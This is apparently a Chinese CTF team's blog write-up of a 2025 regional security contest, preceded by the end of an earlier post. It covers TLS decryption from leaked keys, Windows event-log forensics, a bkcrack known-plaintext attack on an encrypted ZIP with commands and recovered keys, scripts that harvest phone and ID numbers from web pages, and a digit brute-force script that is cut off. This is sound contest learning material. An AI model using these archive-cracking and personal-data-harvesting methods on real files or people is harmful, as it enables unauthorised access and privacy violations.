re.compile(r'^138\d{4}9377$') if phone_pattern.match(phone_number): return {'phone_number': phone_number, 'id_number': id_number} return None def traverse_webpages(folder_path): """ 遍历指定文件夹下的所有 HTML 文件,并提取信息。 Args: folder_path: 网页文件夹的路径。 """ for root, dirs, files in os.walk(folder_path): for file in tqdm(files): if file.endswith(".html"): file_path = os.path.join(root, file) try: with open(file_path, 'r', encoding='utf-8') as f: html_content = f.read() extracted_data = extract_info_from_html(html_content) if extracted_data: print(f"在文件: {file_path} 中找到匹配信息:") print(f" 手机号: {extracted_data['phone_number']}") print(f" 身份证号: {extracted_data['id_number']}") print("-" * 30) except Exception as e: print(f"处理文件 {file_path} 出错: {e}") if __name__ == "__main__": webpage_folder = "webpage" traverse_webpages(webpage_folder) 1 2 3 在文件: webpage\40\5840.html 中找到匹配信息: 手机号: 13891889377 身份证号: 61050119980416547X 队友做法 使用 cat ./{文件夹ID}/*.html | grep -E "138[0-9]{4}9377|张华强" 逐个找信息,遍历文件夹ID,发现在40号文件夹出现结果 1 $ cat ./40/*.html | grep -E "138[0-9]{4}9377|张华强" 答案为:13891889377 张华强的身份证号 | @Luminoria @Ron 使用 cat ./{文件夹ID}/*.html | grep -E "138[0-9]{4}9377|张华强" 逐个找信息,遍历文件夹ID,发现在40号文件夹出现结果 1 $ cat ./40/*.html | grep -E "138[0-9]{4}9377|张华强" 跟着第三题,一起出 61050119980416547X 张华强的车牌号 | @Luminoria @Ron 用OCR识别图片中的手机号 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import os import pytesseract from PIL import Image import re def find_number_in_image(image_path, target_number): try: img = Image.open(image_path) text = pytesseract.image_to_string(img, lang='eng') pattern = r"\b" + re.escape(target_number) + r"\b" match = re.search(pattern, text) if match: return text else: return None except Exception as e: print(f"处理图片 {image_path} 时出错: {e}") return None def main(): parking_folder = "./附件/parking" target_number = "13891889377" if not os.path.exists(parking_folder): print(f"文件夹 '{parking_folder}' 不存在,请检查路径。") return found_in_images = [] c = 0 for filename in os.listdir(parking_folder): c += 1 if filename.lower().endswith(('.jpg')): image_path = os.path.join(parking_folder, filename) result = find_number_in_image(image_path, target_number) if result: print(f"{filename}r : {result}") found_in_images.append(filename) print(f"{c} {filename}", end='\r') if not found_in_images: print(f"Noting Found") if __name__ == "__main__": main() 在1357.jpg里面找到了手机号 数据分析 溯源与取证 硬盘取证 Word 恢复 | @Ron DG打开img扫描删除的文件 用DG恢复文档 染色后找到flag 内存取证及日志分析 | @Ron DiskGenius打开查看分区起始位置 使用Linux mount img文件 1 sudo mount -o loop,offset=32256 ./disk1.img /mnt #offset=512*63=32256 将7z文件复制出来解压得到内存镜像 使用voltality3扫描文件 1 vol -f ./WIN-IRBP5Q8F25I-20250306-172341.raw windows.filescan.FileScan > filelist.txt 发现log文件,dump下来 1 vol -f ./WIN-IRBP5Q8F25I-20250306-172341.raw windows.dumpfiles.DumpFiles --physaddr 0x7c23ba40 直接打开很明显的sql注入 故114.10.143.92即为攻击者IP

2025/3/30
articleCard.readMore

【Volcania】第十八届软件系统安全赛 CCSSSC 2025 华南赛区区域线下赛复盘

吐槽 话在前头:这是我们队第二次打线下赛,第一次是鹏城杯决赛,但是因为考虑到保密问题所以我没写复盘 喜欢我队友下载取证 5 个 G 的附件 20KB/s 剩余时间 3 天嘛?还是说,喜欢的是我根本就进不去比赛平台 ♪ 笑死了,华南赛区这边刚开始根本就进不去平台,好不容易我们队四个有一个队友进去了,结果自己的账号密码忘记了先用的我的,后面说可以重置账号密码,上报后说重置完了(为统一的一个强密码),结果还是登不进去,这不是重置了个寂寞吗……最后一个队四个人三个人用我的号,剩下一个队友用自己的 还有还有,怎么有赛事主办方提供的附件(babymooer 的附件)对系统有要求啊(据说是 Win 10 22H2 测试通过),导致我们没有任何一个人能打开这个附件(附加调试器打开就蓝屏了) 还有还有还有,从早上八点半打到下午三点半,连饭都没得吃,饿死啦!!!(哭~~~~~~ 比赛题目 这次比赛共有 8 道题目,其中有 3 道 Web 题,一道 re 题,剩下的都是 MISC 题 题目列表在这里 题目名称题目分类题目描述题目备注 babymooerReverse (驱动)请在Windows 10低版本运行该程序,否则会闪退,在Windows 10 22H2测试通过。 注意: 1.请上交题目解题报告,否则题目成绩可能被判定无效。 2.提交答案时只需提交{}中的字符串。 3.请关注赛事公告,访问方法:左侧菜单栏“赛事大厅”>所报名赛事的“详情”>下拉页面“赛事公告” babymaooer解题提示:kdmapper;内存读写。 babymaooer解题提示:一个exe两个程序。关于驱动加载,且限制了系统的版本,导致附加调试器后我们队 re 手电脑蓝屏 justdeserializeWeb (反序列化) ez_sightMISC (AI)公司给大家发公告了….关于 AI 视觉模型的应用以及压缩包明文爆破 razorcorWebmaybe this one is interesting…. sharkmarketMISC (Web3/Rust)sharkmarket解题提示:也许需要获得足够的 coin。用 Rust 写的合约后端 encoderPWN (Buffer)encoder题目说明:请连接socks5代理后,访问题目地址192.0.100.2:8888。socks5代理的连接信息请参考靶机中的socks5端口、用户、密码。 5G消息_TLSMISC (Traffic)Bob窃取到一个文件,并通过5G消息的形式告诉了Alice,不料他们的通信被窃听了,拿到这个文件,努力去获取最终的答案吧通过 SIP 协议明文发送的 TLS 密钥以及 HTTPS 数据流的解密 DC-ForensicsMISC (Forensics)- 小梁的域控机器被黑客攻击了,请你找出一些蛛丝马迹。 攻击者通过AD CS提权至域管理员,在攻击过程中,攻击者使用有问题的证书模版注册了一张证书,该证书的证书模版名、证书序列号是什么?(格式为模版名-序列号,如CertTemplate-2f000000064287f6f5d6ff4a91000000000006) - 小梁的域控机器被黑客攻击了,请你找出一些蛛丝马迹。 攻击者在获取域管理员权限后,尝试上传木马文件,但是被杀毒软件查杀,上传的木马文件的绝对路径是什么?(如C:\Windows\cmd.exe) - 小梁的域控机器被黑客攻击了,请你找出一些蛛丝马迹。 攻击者从机器中提取出了用户的连接其他机器的Windows企业凭据,凭据的连接IP、用户名、密码是什么?(格式为IP-用户名-密码,如127.0.0.1-sam-123456) - 小梁的域控机器被黑客攻击了,请你找出一些蛛丝马迹。 攻击者创建了一个新用户组和一个新用户,并把这个用户加入了新用户组和域管理员组中,新用户组名、新用户的用户名、新用户的密码是什么?(用户组名和用户名均小写,格式为用户组名-用户名-密码 ,如admins-sam-123456)AD 域中的子设备应急处理 比赛复盘 这次的复盘,我想先从做出来的题目开始。我们队总共做出来两道题,分别是 5G消息_TLS 和 DC-Forensics-2 [MISC] 5G消息_TLS Bob窃取到一个文件,并通过5G消息的形式告诉了Alice,不料他们的通信被窃听了,拿到这个文件,努力去获取最终的答案吧 附件 题目提供了一个流量包,从中可以看到可以发现 SIP 流(消息发送的流) 查询每个 SIP 流,可以得到所有的 TLS 密钥如下 1 2 3 4 5 SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630 CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0 SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795 EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0 CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405 这里的解密过程参考了 @Lunatic 的 Misc-Network Traffic Analysis https://goodlunatic.github.io/posts/5422d65/ 上述的文章地址 https://github.com/goodlunatic/goodlunatic.github.io 大佬的 Github 静态网站仓库 刚好我们在赛前看到了这个大佬的 MISC Guide,认为他的经验能够帮助我们在比赛中完成题目,遂将他的 Blog 从 Github 下载了下来,使用 Python 的 http.server 本地浏览,没想到真的能够派上用场 在这里真的很感谢这位大佬,能够公开自己的静态网站的仓库,最后能被我们派上用场 把这个密钥丢到 wireshark 的 TLS 设置里面 为了确定是否正确,我上面是指定了一个 Debug File 的,打开这个文件,可以看到里面的提示 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 dissect_ssl enter frame #27 (first time) packet_from_server: is from server - TRUE conversation = 0000026E74E34DA0, ssl_session = 0000026E74E358F0 record: offset = 0, reported_length_remaining = 1386 ssl_try_set_version found version 0x0303 -> state 0x91 dissect_ssl3_record: content_type 22 Handshake decrypt_ssl3_record: app_data len 69, ssl state 0x91 packet_from_server: is from server - TRUE decrypt_ssl3_record: using server decoder decrypt_ssl3_record: no decoder available dissect_ssl3_handshake iteration 1 type 2 offset 5 length 65 bytes ssl_try_set_version found version 0x0303 -> state 0x91 Calculating hash with offset 5 69 ssl_dissect_hnd_hello_common found SERVER RANDOM -> state 0x93 ssl_set_cipher found CIPHER 0xC030 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 -> state 0x97 trying to use TLS keylog in F:\CTF\Workspace\CCSSSC2025复赛\TLS.log checking keylog line: SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630 matched server_appdata checking keylog line: CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0 matched client_handshake checking keylog line: SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795 matched server_handshake checking keylog line: EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0 matched exporter checking keylog line: CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405 matched client_appdata tls13_load_secret TLS version 0x303 is not 1.3 tls13_load_secret TLS version 0x303 is not 1.3 record: offset = 74, reported_length_remaining = 1312 need_desegmentation: offset = 74, reported_length_remaining = 1312 里面写了 matched 说明我们找对了,过滤 HTTP 协议,可以看见一张图片 把图片的数据流拿出来,丢进赛博厨子就能看到 flag 了 得到 flag 为 abcdef1234567890deadbeefc0ffeeba 附:使用电脑的时候导出 SSLKEY 需要使用 Google Chrome!!!Edge不行!!! 在环境变量中添加名为 SSLKEYLOGFILE 的变量即可,内容为你需要保存的文件路径 然后直接打开 Google Chrome 访问网站,在你指定的文件里面就会出现 SSLKEY 了 [MISC | Forensics] DC-Forensics-2 小梁的域控机器被黑客攻击了,请你找出一些蛛丝马迹。 攻击者在获取域管理员权限后,尝试上传木马文件,但是被杀毒软件查杀,上传的木马文件的绝对路径是什么?(如C:\Windows\cmd.exe) 这整个系列的题目,我们队的入手点都是这台 Windows 电脑的事件管理器保存下来的事件文件,我们从 C:\Windows\System32\winevt 可以看到 Windows 电脑的事件文件 导出后,在里面可以发现 Microsoft-Windows-Windows Defender%4Operational.evtx,得知电脑使用的是 Windows Defender 作为杀软 打开这个事件日志后,在第二行的警告里面就能看到木马 得到结果为 C:\Users\Public\e9caab4405a14fb6.exe [MISC | AI] ez_sight | 赛后出 公司给大家发公告了…. 附件 题目提供了一个压缩包,里面有 flag.py workspace.zip 公告.txt 三个文件 公告的内容如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 各位员工: 为了提升公司的安全管理水平,从即日起,我司将引入AI技术对通行密码进行管理。相关的密码图片内容已整理并放入压缩包中,压缩包的密码将由各部门负责组织发放,请大家留意部门通知。 请注意公司内部AI模型的使用规范: 1.除最后一层外与池化层外其他隐藏层输出均需要通过激活函数 2.至少需要通过两次池化层 3.注意隐藏之间输出数据格式的匹配,必要时对数据张量进行重塑 4.为保证模型准确性,输入图片应转换为灰度图 感谢大家的配合与支持。如有疑问,请随时与人事部联系。 此致 从这个文本文件我们可以知道这个题是个 AI 题,要调用它提供的模型来进行图片的辨认 笑死了这个题,我们队里有人看出来了这是压缩包明文爆破,但是但是,我们没有一个人电脑里有 bkcrack…… kimci86/bkcrack: Crack legacy zip encryption with Biham and Kocher’s known plaintext attack. ZIP 文件里的内容可以用一种叫 ZipCrypto 的加密方式保护,靠密码生成一串随机字节,跟文件内容“混在一起”变成加密后的数据。它的核心是个由三个数字组成的小机器,先用密码启动,然后边加密边更新。但这方法有个弱点:如果有人知道加密后的内容和至少 12 个字节的原文,就能破解这个小机器的内部状态。掌握了状态,就能解开所有用同一密码加密的内容,还能试着猜密码,难度大概是“字符种类数 × 密码长度 - 6”。简单说,就是不够安全,容易被攻破。 压缩包明文攻击的条件 攻击需要至少 12 个字节的已知明文。其中至少 8 个必须是连续的。连续的已知明文越大,攻击速度越快。 解开压缩包 这个题目已经给了我们 公告.txt 文件,并且压缩包内也有这个公告,满足且远远满足于我们的条件 使用这样的命令来 crack 我们的 zip 1 $ .\bkcrack.exe -C F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\workspace.zip -c 公告.txt -p F:\CTF\Workspace\CCSSSC2025复 赛\ez_sight\公告.txt 这里的参数是这样的 -C F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\workspace.zip 表示需要 crack 的压缩包文件 -c 公告.txt 压缩包内的已知明文的文件 -p F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\公告.txt 对应压缩包内已知明文文件的文件,即压缩包内的文件解压后的文件 等一会,就会给我们三个 key 1 2 3 4 5 6 7 8 9 10 bkcrack 1.7.1 - 2024-12-21 [15:29:32] Z reduction using 687 bytes of known plaintext 100.0 % (687 / 687) [15:29:33] Attack on 14755 Z values at index 18 Keys: ffe9e9e9 d65f814a f3c468c9 85.3 % (12585 / 14755) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 12585 [15:29:45] Keys ffe9e9e9 d65f814a f3c468c9 通过这三个 key 我们能够生成一个使用我们自己的密码加密过后的压缩包,也就是说生成的压缩包的密码是已知的 1 2 3 4 5 $ .\bkcrack.exe -C F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\workspace.zip -k ffe9e9e9 d65f814a f3c468c9 -U F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\Unlock.zip Volcania bkcrack 1.7.1 - 2024-12-21 [15:34:06] Writing unlocked archive F:\CTF\Workspace\CCSSSC2025澶嶈禌\ez_sight\Unlock.zip with password "Volcania" 100.0 % (16 / 16) Wrote unlocked archive. 这里的参数是这样的 -C F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\workspace.zip 表示需要 crack 的压缩包文件(上面讲过) -k ffe9e9e9 d65f814a f3c468c9 上面解出来的密钥,按照 bkcrack 的说明 1 2 3 -k, --keys <X> <Y> <Z> Internal password representation as three 32-bits integers in hexadecimal (requires -d, -D, -U, --change-keys or --bruteforce) -U F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\Unlock.zip Volcania 生成一个新的解锁包,这个压缩包的密码是 Volcania 这个时候,再用我们自己的密码进行解压,就可以得到压缩包里面的附件了 现在可以使用这个压缩包里面的文件了,按照题目的要求,我们需要加载这个模型来识别图片 踩坑环节 首先我们得知道这个模型的各种参数,我使用的是离线的 netron 进行识别的 lutzroeder/netron: Visualizer for neural network, deep learning and machine learning models 可以看到这个模型里面的各个参数,与公告是能对应上的 这里抄了别人的调用代码,确实没学过怎么调用模型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 import torch import torch.nn as nn import torch.nn.functional as F import numpy as np from PIL import Image from torch.serialization import safe_globals import os # 根据模型实际结构定义SimpleCNN类 class SimpleCNN(nn.Module): def __init__(self): super(SimpleCNN, self).__init__() # 第一层卷积层 (1 -> 32) self.conv1 = nn.Conv2d(1, 32, kernel_size=3, padding=1) # 第二层卷积层 (32 -> 64) self.conv2 = nn.Conv2d(32, 64, kernel_size=3, padding=1) # 全连接层 self.fc1 = nn.Linear(64 * 7 * 7, 128) self.fc2 = nn.Linear(128, 10) def forward(self, x): # 第一层卷积 + 激活 + 池化 x = F.relu(self.conv1(x)) x = F.max_pool2d(x, 2) # 第二层卷积 + 激活 + 池化 x = F.relu(self.conv2(x)) x = F.max_pool2d(x, 2) # 重塑张量 x = x.view(-1, 64 * 7 * 7) # 全连接层 x = F.relu(self.fc1(x)) x = self.fc2(x) return x # 加载模型 def load_model(model_path): # 添加SimpleCNN到安全全局变量列表中 safe_globals_list = [SimpleCNN] # 使用safe_globals上下文管理器来安全加载模型 with safe_globals(safe_globals_list): model = torch.load(model_path, weights_only=False) model.eval() return model # 对现有图像进行预测 def predict_images(model_path, image_paths): # 加载模型 model = load_model(model_path) results = [] for img_path in image_paths: try: # 加载图像并转换为灰度图 img = Image.open(img_path).convert('L') # 调整图像大小为28x28 img = img.resize((28, 28)) # 转换为张量 img_tensor = torch.tensor(np.array(img)).float() / 255.0 img_tensor = img_tensor.unsqueeze(0).unsqueeze(0) # 添加批次和通道维度 # 进行预测 with torch.no_grad(): output = model(img_tensor) prob = F.softmax(output, dim=1) pred_class = torch.argmax(prob, dim=1).item() confidence = prob[0][pred_class].item() results.append({ 'image': os.path.basename(img_path), 'prediction': pred_class, 'confidence': confidence }) print(f"图像 {os.path.basename(img_path)} 预测为: {pred_class}, 置信度: {confidence:.4f}") except Exception as e: print(f"处理图像 {img_path} 时出错: {e}") return results # 主函数 def main(): model_path = "./password.pt" # 对已有的0-13.bmp图像进行预测 image_paths = [f"./flag/{i}.bmp" for i in range(14)] print("分析数字图像...") predictions = predict_images(model_path, image_paths) # 打印预测结果摘要 print("\n预测结果摘要:") predicted_digits = "" for p in predictions: predicted_digits += str(p['prediction']) print(f"数字序列: {predicted_digits}") # 尝试将数字序列转换为ASCII字符 try: ascii_text = "" for i in range(0, len(predicted_digits), 2): if i+1 < len(predicted_digits): char_code = int(predicted_digits[i:i+2]) if 32 <= char_code <= 126: # 可打印ASCII范围 ascii_text += chr(char_code) if ascii_text: print(f"可能的ASCII文本: {ascii_text}") except Exception as e: print(f"转换ASCII时出错: {e}") if __name__ == "__main__": main() 所以 flag 大概应该是 81294687889085 但是队友后来提醒我,官方给了验证的脚本 1 2 3 4 5 6 7 8 import uuid import hashlib flag = input()# press the corrcet password final_flag = "dart{" + str(uuid.uuid3(uuid.UUID('11341600-1542-4ee8-b148-23940f18186b'),flag)) + "}" if hashlib.sha256(final_flag.encode("utf8")).hexdigest() == "115159c751ddf16c527ee96f998ed55ed8a3302f2fd04ba60682493883901684": print("correct flag:" + final_flag) 然后输了进去,发现不对 正确解法 问了一下兄弟队(他们当场就做出来了),说要挑概率大的去爆破 这里我们队的 @Jeremiah 改了一下上面搬的脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import torch import torch.nn as nn import torch.nn.functional as F import numpy as np from PIL import Image from torch.serialization import safe_globals import os class SimpleCNN(nn.Module): def __init__(self): super(SimpleCNN, self).__init__() self.conv1 = nn.Conv2d(1, 32, kernel_size=3, padding=1) self.conv2 = nn.Conv2d(32, 64, kernel_size=3, padding=1) self.fc1 = nn.Linear(64 * 7 * 7, 128) self.fc2 = nn.Linear(128, 10) def forward(self, x): x = F.relu(self.conv1(x)) x = F.max_pool2d(x, 2) x = F.relu(self.conv2(x)) x = F.max_pool2d(x, 2) x = x.view(-1, 64 * 7 * 7) x = F.relu(self.fc1(x)) x = self.fc2(x) return x def load_model(model_path): safe_globals_list = [SimpleCNN] with safe_globals(safe_globals_list): model = torch.load(model_path, weights_only=False) model.eval() return model def predict_images(model_path, image_paths): model = load_model(model_path) results = [] for img_path in image_paths: try: img = Image.open(img_path).convert('L') img = img.resize((28, 28)) img_tensor = torch.tensor(np.array(img)).float() / 255.0 img_tensor = img_tensor.unsqueeze(0).unsqueeze(0) with torch.no_grad(): output = model(img_tensor) prob = F.softmax(output, dim=1) pred_class = torch.argmax(prob, dim=1).item() confidence = prob[0][pred_class].item() # 获取所有类别的置信度 all_confidences = {str(i): prob[0][i].item() for i in range(10)} results.append({ 'image': os.path.basename(img_path), 'prediction': pred_class, 'confidence': confidence, 'all_confidences': all_confidences # 添加所有类别的置信度 }) print(f"\n图像 {os.path.basename(img_path)} 预测结果:") print(f"预测为: {pred_class}, 最高置信度: {confidence:.4f}") print("所有类别置信度:") for cls, conf in sorted(all_confidences.items(), key=lambda x: x[1], reverse=True): print(f" 类别 {cls}: {conf:.4f}") except Exception as e: print(f"\n处理图像 {img_path} 时出错: {e}") return results def main(): model_path = "./password.pt" image_paths = [f"./flag/{i}.bmp" for i in range(14)] print("分析数字图像...") predictions = predict_images(model_path, image_paths) print("\n预测结果摘要:") predicted_digits = "" for p in predictions: predicted_digits += str(p['prediction']) print(f"数字序列: {predicted_digits}") try: ascii_text = "" for i in range(0, len(predicted_digits), 2): if i+1 < len(predicted_digits): char_code = int(predicted_digits[i:i+2]) if 32 <= char_code <= 126: ascii_text += chr(char_code) if ascii_text: print(f"可能的ASCII文本: {ascii_text}") except Exception as e: print(f"转换ASCII时出错: {e}") if __name__ == "__main__": main() 能够得到这样的数据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 图像 0.bmp 预测结果: 预测为: 8, 最高置信度: 0.5042 所有类别置信度: 类别 8: 0.5042 类别 0: 0.4952 类别 9: 0.0003 类别 2: 0.0001 类别 5: 0.0001 类别 6: 0.0000 类别 3: 0.0000 类别 7: 0.0000 类别 1: 0.0000 类别 4: 0.0000 图像 1.bmp 预测结果: 预测为: 1, 最高置信度: 0.9922 所有类别置信度: 类别 1: 0.9922 类别 7: 0.0073 类别 4: 0.0003 类别 8: 0.0002 类别 9: 0.0000 类别 0: 0.0000 类别 5: 0.0000 类别 6: 0.0000 类别 2: 0.0000 类别 3: 0.0000 图像 2.bmp 预测结果: 预测为: 2, 最高置信度: 0.9129 所有类别置信度: 类别 2: 0.9129 类别 8: 0.0871 类别 1: 0.0000 类别 0: 0.0000 类别 9: 0.0000 类别 3: 0.0000 类别 6: 0.0000 类别 7: 0.0000 类别 5: 0.0000 类别 4: 0.0000 图像 3.bmp 预测结果: 预测为: 9, 最高置信度: 0.7812 所有类别置信度: 类别 9: 0.7812 类别 3: 0.1638 类别 5: 0.0448 类别 8: 0.0102 类别 0: 0.0000 类别 2: 0.0000 类别 6: 0.0000 类别 4: 0.0000 类别 7: 0.0000 类别 1: 0.0000 图像 4.bmp 预测结果: 预测为: 4, 最高置信度: 0.9690 所有类别置信度: 类别 4: 0.9690 类别 7: 0.0152 类别 1: 0.0140 类别 9: 0.0016 类别 5: 0.0002 类别 8: 0.0000 类别 3: 0.0000 类别 2: 0.0000 类别 6: 0.0000 类别 0: 0.0000 图像 5.bmp 预测结果: 预测为: 6, 最高置信度: 0.6037 所有类别置信度: 类别 6: 0.6037 类别 5: 0.3927 类别 8: 0.0034 类别 4: 0.0001 类别 0: 0.0000 类别 1: 0.0000 类别 9: 0.0000 类别 3: 0.0000 类别 7: 0.0000 类别 2: 0.0000 图像 6.bmp 预测结果: 预测为: 8, 最高置信度: 0.6195 所有类别置信度: 类别 8: 0.6195 类别 6: 0.3054 类别 5: 0.0751 类别 0: 0.0000 类别 9: 0.0000 类别 3: 0.0000 类别 1: 0.0000 类别 7: 0.0000 类别 2: 0.0000 类别 4: 0.0000 图像 7.bmp 预测结果: 预测为: 7, 最高置信度: 0.5370 所有类别置信度: 类别 7: 0.5370 类别 8: 0.4267 类别 1: 0.0317 类别 9: 0.0033 类别 0: 0.0010 类别 2: 0.0002 类别 3: 0.0000 类别 5: 0.0000 类别 4: 0.0000 类别 6: 0.0000 图像 8.bmp 预测结果: 预测为: 8, 最高置信度: 0.8916 所有类别置信度: 类别 8: 0.8916 类别 3: 0.1081 类别 5: 0.0003 类别 9: 0.0000 类别 2: 0.0000 类别 1: 0.0000 类别 6: 0.0000 类别 4: 0.0000 类别 0: 0.0000 类别 7: 0.0000 图像 9.bmp 预测结果: 预测为: 8, 最高置信度: 0.5110 所有类别置信度: 类别 8: 0.5110 类别 9: 0.4890 类别 4: 0.0000 类别 0: 0.0000 类别 3: 0.0000 类别 7: 0.0000 类别 2: 0.0000 类别 5: 0.0000 类别 6: 0.0000 类别 1: 0.0000 图像 10.bmp 预测结果: 预测为: 9, 最高置信度: 0.9950 所有类别置信度: 类别 9: 0.9950 类别 4: 0.0046 类别 7: 0.0003 类别 8: 0.0000 类别 3: 0.0000 类别 5: 0.0000 类别 2: 0.0000 类别 1: 0.0000 类别 0: 0.0000 类别 6: 0.0000 图像 11.bmp 预测结果: 预测为: 0, 最高置信度: 0.5646 所有类别置信度: 类别 0: 0.5646 类别 8: 0.4350 类别 6: 0.0003 类别 3: 0.0001 类别 9: 0.0000 类别 5: 0.0000 类别 2: 0.0000 类别 1: 0.0000 类别 4: 0.0000 类别 7: 0.0000 图像 12.bmp 预测结果: 预测为: 8, 最高置信度: 0.8498 所有类别置信度: 类别 8: 0.8498 类别 5: 0.0835 类别 2: 0.0667 类别 7: 0.0000 类别 4: 0.0000 类别 1: 0.0000 类别 6: 0.0000 类别 9: 0.0000 类别 3: 0.0000 类别 0: 0.0000 图像 13.bmp 预测结果: 预测为: 5, 最高置信度: 0.9871 所有类别置信度: 类别 5: 0.9871 类别 7: 0.0125 类别 2: 0.0002 类别 1: 0.0001 类别 4: 0.0001 类别 6: 0.0000 类别 3: 0.0000 类别 9: 0.0000 类别 8: 0.0000 类别 0: 0.0000 也就是说,图片1~13分别可能是 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 candidates = [ [8, 0, 9, 2, 5], # 0.bmp: 8(0.5042), 0(0.4952) [1, 7, 4, 8], # 1.bmp: 1(0.9922) [2, 8], # 2.bmp: 2(0.9129) [9, 3, 5, 8], # 3.bmp: 9(0.7812), 3(0.1638), 5(0.0448) [4, 7, 1, 9, 5], # 4.bmp: 4(0.9690) [6, 5, 8, 4], # 5.bmp: 6(0.6037), 5(0.3927) [8, 6, 5], # 6.bmp: 8(0.6195), 6(0.3053), 5(0.0751) [7, 8, 1, 9, 0, 2], # 7.bmp: 7(0.5370), 8(0.4267) [8, 3, 5], # 8.bmp: 8(0.8916) [8, 9], # 9.bmp: 8(0.5110), 9(0.4890) [9, 4, 7], # 10.bmp: 9(0.9950) [0, 8, 6, 3], # 11.bmp: 0(0.5646), 8(0.4350) [8, 5, 2], # 12.bmp: 8(0.8498) [5] # 13.bmp: 5(0.9871) ] 于是写了这样的一个爆破脚本(即这个位置可能是什么东西,列举出所有的可能进行爆破求解) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import uuid import hashlib from itertools import product # 定义每个位置的候选数字(置信度>0的) candidates = [ [8, 0, 9, 2, 5], # 0.bmp: 8(0.5042), 0(0.4952) [1, 7, 4, 8], # 1.bmp: 1(0.9922) [2, 8], # 2.bmp: 2(0.9129) [9, 3, 5, 8], # 3.bmp: 9(0.7812), 3(0.1638), 5(0.0448) [4, 7, 1, 9, 5], # 4.bmp: 4(0.9690) [6, 5, 8, 4], # 5.bmp: 6(0.6037), 